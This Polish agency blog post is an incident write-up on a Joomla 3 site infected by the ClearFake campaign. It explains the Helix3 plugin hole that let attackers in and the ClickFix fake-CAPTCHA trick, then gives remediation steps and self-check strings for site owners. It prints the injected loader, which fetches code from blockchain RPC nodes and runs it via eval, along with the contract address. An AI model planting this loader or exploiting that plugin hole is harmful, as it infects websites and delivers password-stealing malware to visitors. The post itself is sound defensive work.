Włamanie na stronę na Joomli 3: jak wygląda fałszywa CAPTCHA i dlaczego to była kwestia czasu?

Niedawno pisaliśmy, że Joomla 3 i 4 nie mają już poprawek bezpieczeństwa i że strony na nich działają dalej, jakby nic się nie stało. Kilka dni później dostaliśmy zgłoszenie, które pokazuje, co to znaczy w praktyce. Nie z podręcznika, tylko z serwera firmy, której stronę utrzymujemy. Opisujemy ten przypadek bez nazwy klienta, ale ze wszystkimi szczegółami technicznymi, bo dokładnie tak samo wygląda to dziś na tysiącach innych stron w Polsce.

Jak to wyglądało od strony właściciela

Zaczęło się od zwykłego maila z hostingu: „kontaktujemy się z Tobą w bardzo ważnej sprawie, szczegóły w zgłoszeniu na koncie". W zgłoszeniu było pismo z CERT Polska, czyli zespołu CSIRT NASK, który na podstawie ustawy o krajowym systemie cyberbezpieczeństwa obsługuje incydenty w polskim internecie. CERT pisał, że wykrył nieuprawniony dostęp do strony, umieszczenie na niej szkodliwego skryptu i wyświetlanie odwiedzającym fałszywej weryfikacji CAPTCHA. Do pisma hosting dołączył wynik własnego skanu antywirusowego.

Warto to powiedzieć wprost, bo pierwsze pytanie właściciela brzmiało „czy grozi mi kara?". Nie. CERT nie karze, tylko informuje i prosi o usunięcie problemu. Takich pism wysyła tysiące rocznie. Konsekwencje przychodzą dopiero za bierność: hosting może zawiesić stronę, Google oznaczy ją jako niebezpieczną, a odwiedzający zaczną tracić dane z komputerów. Na tym etapie strona działała normalnie i wyglądała normalnie. Właściciel nie miał szans zauważyć, że coś jest nie tak.

Co znaleźliśmy w kodzie

Otworzyliśmy źródło strony głównej. Wśród zwykłych skryptów szablonu, tuż po wtyczce od przycisku „do góry", siedział fragment, którego nikt tam nie wpisał:

var s=document.createElement("script");
s.src="data:text/javascript;base64,CmFzeW5jIGZ1bmN0aW9uIGxvYWRfKGFkZHJlc3MpIHsK...";
document.head.appendChild(s);

Po odkodowaniu zapisu base64 wychodzi krótki program, który robi trzy rzeczy. Pyta osiem publicznych węzłów sieci BNB Smart Chain (testowej sieci blockchain Binance) o zawartość konkretnego kontraktu. To, co dostanie w odpowiedzi, odkodowuje. I uruchamia przez eval, czyli wykonuje jako kod.

const _rpcUrls = [
  "https://data-seed-prebsc-1-s1.bnbchain.org:8545/",
  "https://bsc-testnet-rpc.publicnode.com/",
  ...
];
load_("0xE75744C53eC0914fE9bE92847019D3d7122B6b77")
  .then(function(_p){ eval(atob(_p)); });

Ten sposób nazywa się EtherHiding i jest znakiem rozpoznawczym kampanii ClearFake, opisanej po raz pierwszy w 2023 roku. Właściwy ładunek nie leży na żadnym serwerze, który dałoby się wyłączyć. Leży w blockchainie, a tego nikt nie zdejmie. Przestępcy mogą go podmieniać, kiedy chcą, a strona firmy za każdym razem pobiera aktualną wersję. Na zainfekowanej stronie zostaje tylko mały „zaczep".

Sprawdziliśmy podstrony: kontakt, realizacje, galerię. Skrypt był na każdej. Był serwowany wszystkim, także robotowi Google. Pliki JavaScript szablonu i wtyczek, które pobraliśmy z serwera, były czyste. Dokładne miejsce ustaliliśmy dopiero po pobraniu całej strony i eksporcie bazy danych.

Którędy weszli i gdzie siedział skrypt

Przeszukaliśmy 21 tysięcy plików strony pod kątem znanych śladów. Skryptu nie było w żadnym z nich. Był w bazie danych, w tabeli ze stylami szablonu, w polu „własny JavaScript". Joomla dokleja zawartość tego pola do każdej podstrony, dlatego wstrzyknięcie pojawiało się wszędzie naraz. Włamywacz nie dopisał go do istniejących ustawień, tylko nadpisał cały zestaw: logo, kolory, fonty, układ menu zniknęły, a został tylko skrypt, pusty arkusz stylów i napis „Protected by reCAPTCHA" w stopce. Strona wyglądała nadal normalnie tylko dlatego, że szablon miał rozsądne wartości domyślne.

Drogę wejścia znaleźliśmy w kodzie jednej wtyczki: frameworka szablonu Helix3 w wersji 3.0.2, na którym stoi wiele szablonów kupowanych dla Joomli 3 w latach 2016-2020. Wtyczka wystawia publiczny adres do obsługi panelu ustawień szablonu i dla czterech akcji nie sprawdza, czy ktoś jest zalogowany. Jedna zapisuje dowolny plik na serwerze, jedna kasuje, jedna czyta (także plik konfiguracyjny z hasłem do bazy), a czwarta, „import", nadpisuje ustawienia dowolnego stylu szablonu w bazie. To przez tę czwartą wszedł skrypt. Przez pierwszą włamywacze wgrali 116 plików: webshelle, fałszywe pliki .htaccess, podpisy „hacked by". Żaden z nich nie zadziałał, bo wtyczka dokleja do nazwy końcówkę .json, a serwer takich plików nie wykonuje. Nie zmienia to faktu, że przez trzy miesiące na serwer wchodziły co najmniej dwie różne grupy: jedna zostawiała podpisy, druga po cichu podłączyła stronę do kampanii ClearFake.

Panel administracyjny Joomli nie miał z tym nic wspólnego. Ostatnie logowanie w dzienniku zdarzeń jest z lipca 2023 roku, ani jednego w 2026. Hasła były dobre, dwuskładnikowe logowanie by nie pomogło. Cała operacja przeszła przez jeden adres, który wtyczka wystawiała każdemu, bez pytania o cokolwiek.

Co widzi osoba, która wchodzi na stronę

Ładunek z blockchaina to tak zwany ClickFix. Odwiedzający widzi nakładkę udającą weryfikację Cloudflare albo Google: „Potwierdź, że nie jesteś robotem". Po kliknięciu pojawia się instrukcja w trzech krokach: naciśnij Windows i R, naciśnij Ctrl i V, naciśnij Enter. Skrypt w tle skopiował już do schowka komendę PowerShell. Osoba, która wykona te trzy kroki, sama uruchamia na swoim komputerze pobieranie złośliwego oprogramowania, najczęściej programu wykradającego hasła zapisane w przeglądarce, ciasteczka sesji i dane portfeli kryptowalut.

Cała siła tej metody polega na tym, że nie ma tu żadnego pliku do pobrania, żadnego załącznika i żadnego okna „czy na pewno chcesz uruchomić". Użytkownik robi wszystko sam, na prośbę strony, której ufa, bo to przecież strona znanej mu firmy. Program antywirusowy nie ma wiele do powiedzenia, bo komendę wpisał właściciel komputera. CERT Polska ostrzegał przed tym wariantem już w listopadzie 2024 roku i od tamtej pory liczba zainfekowanych stron w Polsce nie spada.

Dlaczego to była kwestia czasu

Strona stała na Joomli 3, z szablonem i zestawem rozszerzeń typowym dla stron firmowych budowanych kilka lat temu: kreator stron, galeria, karuzela logotypów klientów. Wszystko działało i wyglądało dobrze. Problem w tym, że od 17 sierpnia 2023 roku projekt Joomla nie wydaje dla wersji 3 żadnych poprawek bezpieczeństwa, a autorzy rozszerzeń dla tej wersji dawno przenieśli się na nowsze. Każda luka odkryta po tej dacie zostaje na zawsze.

Druga rzecz, którą trzeba zrozumieć: nikt tej firmy nie wybrał. Włamania na strony firmowe nie robią ludzie, tylko automaty. Skanują całe zakresy adresów, rozpoznają po kodzie wersję Joomli i konkretne rozszerzenia, a jeśli trafią na znaną lukę, odpalają gotowy skrypt, który podrzuca kod i zostawia sobie tylne wejście. Strona pięcioosobowej firmy projektowej i strona dużej instytucji są dla takiego automatu identyczne. Liczy się tylko wersja oprogramowania.

Trzecia rzecz: dla przestępców strona firmy nie jest celem, tylko narzędziem. Nie chcą danych tej firmy. Chcą ruchu, czyli ludzi, którzy wejdą na stronę i zaufają jej. Stąd im dłużej strona stoi bez poprawek, tym pewniej trafi do takiej kampanii. Ten przypadek to nie pech, tylko statystyka, która w końcu się dopełniła.

Jak wygląda naprawa

Kolejność ma znaczenie, bo najczęstszy błąd to usunięcie samego skryptu i uznanie sprawy za zamkniętą. Tylne wejście zostaje, a po tygodniu skrypt wraca.

1. Kopia dowodowaPełny zrzut plików i bazy, zanim cokolwiek się ruszy. Plus lista kopii zapasowych z ostatnich miesięcy, bo pierwsza czysta kopia wyznacza datę włamania.
2. Odcięcie odwiedzającychTymczasowa strona serwisowa. Do końca sprzątania nikt nie dostanie fałszywej CAPTCHA, a Google nie zobaczy strony z malware.
3. Wszystkie hasła narazFTP, baza danych, konta administratorów, panel hostingu. Do tego przegląd listy użytkowników: włamywacze często dopisują sobie własne konto administratora.
4. Znalezienie i usunięcie wstrzyknięciaPrzeszukanie plików i bazy pod kątem znanych śladów, porównanie z czystą paczką Joomli i rozszerzeń, wyszukanie plików PHP w katalogach, gdzie nie mają prawa być (obrazki, cache, tmp). Czysta kopia sprzed włamania pomaga, ale nie zawsze wystarczy: w tym przypadku kopia z 2022 roku miała tę samą dziurawą wtyczkę, więc przywrócenie bez łatki oznaczałoby powtórkę w ciągu dni. Przywróciliśmy z niej tylko oryginalne ustawienia szablonu.
5. Zamknięcie drogi wejściaŁatka na wtyczkę, która wpuściła włamywaczy (tu: sześć linii PHP sprawdzających, czy użytkownik jest zalogowanym administratorem), ostatnia wersja Joomli 3 i wszystkich rozszerzeń, usunięcie nieużywanych, prawa plików, blokada wykonywania PHP w katalogach z plikami, nagłówki bezpieczeństwa. Nagłówek Content Security Policy sam w sobie zatrzymałby ten konkretny skrypt, bo zabrania ładowania kodu z adresów data:. Do tego przegląd innych stron na tym samym koncie hostingowym: ta sama wtyczka w tej samej wersji stała na drugiej stronie tego samego użytkownika, z tymi samymi wgranymi plikami, tylko jeszcze bez skryptu.
6. Weryfikacja i raportSprawdzenie źródła każdej podstrony, skan zewnętrzny, Google Search Console. Odpowiedź do hostingu, który przekazuje ją do CERT. Krótka informacja dla właściciela, w tym ocena, czy pod RODO trzeba coś zgłaszać.

Cały proces to cztery do pięciu godzin pracy. I tu dochodzimy do właściwego pytania.

Naprawiać czy budować od nowa?

Naprawa zamyka jeden incydent. Nie zmienia tego, że strona dalej stoi na oprogramowaniu, dla którego nikt nie wydaje poprawek, i że automaty dalej ją skanują. Po naprawie zostaje ta sama Joomla 3, tylko z załatanym jednym wejściem. Następna luka będzie inna, a z każdym rokiem takich luk przybywa i coraz trudniej znaleźć kogoś, kto jeszcze zna tę wersję.

Nasze podejście w tym przypadku było proste. Strony, które budujemy i utrzymujemy, mają gwarancję, więc tę naprawę robimy w jej ramach, bez dodatkowej opłaty. Uczciwie mówimy przy tym klientowi dwie rzeczy: że kolejny incydent na tej samej Joomli 3 będzie już płatny, bo naprawianie w kółko tego samego nie ma sensu, i że jeśli zdecyduje się na nową stronę, koszt wykonania liczymy inaczej niż dla nowego klienta, bo znamy jego stronę, treści i branżę. Wycenę nowej strony firmowej i abonamentu opieki podajemy jawnie w ofercie stron internetowych.

Jak sprawdzić, czy Twoja strona już to ma

Dwie minuty, bez logowania i bez narzędzi.

• Źródło strony. Otwórz swoją stronę w Chrome, naciśnij Ctrl+U (na Macu Cmd+Option+U), a potem Ctrl+F i wyszukaj data:text/javascript, eth_call i eval(atob. Żadnego z tych ciągów nie powinno być na zwykłej stronie firmowej.
• Tryb incognito i telefon. Część kampanii pokazuje nakładkę tylko przy pierwszej wizycie albo tylko na niektórych urządzeniach. Wejdź na stronę w oknie incognito i z telefonu poza swoją siecią.
• Wersja oprogramowania. Jeśli strona stoi na Joomli 3 albo 4, w pierwszym wpisie serii opisaliśmy, jak to sprawdzić w dwie minuty. Nasz bezpłatny skaner stron rozpoznaje przestarzałe wersje Joomli i Drupala automatycznie.
• Google Search Console. Zakładka „Bezpieczeństwo i ręczne działania". Jeśli Google już coś wykrył, tam to zobaczysz, zanim klienci zaczną dzwonić.

Jeśli cokolwiek z tego wygląda podejrzanie, nie usuwaj niczego samodzielnie. Zrób kopię i napisz do kogoś, kto zrobi to w opisanej wyżej kolejności.

Zastrzeżenie: jesteśmy firmą wdrożeniową, nie zespołem reagowania na incydenty ani kancelarią prawną. Opis techniczny pochodzi z analizy jednego konkretnego przypadku z września 2026 i wiedzy publicznej o kampanii ClearFake. Nazwę firmy pominęliśmy celowo. Ocenę obowiązków wynikających z RODO w Twojej sytuacji potwierdź z inspektorem ochrony danych lub prawnikiem.

Krótko na koniec

Strona tej firmy działała, wyglądała dobrze i przez jakiś czas rozdawała odwiedzającym złośliwe oprogramowanie. Nikt tego nie widział, dopóki nie napisał CERT. Naprawiliśmy ją, ale to załatwia tylko ten jeden raz. Jeśli Twoja strona stoi na Joomli 3 albo 4, pytanie nie brzmi „czy", tylko „kiedy". Sprawdź źródło, sprawdź wersję i podejmij decyzję, zanim podejmie ją za Ciebie automat.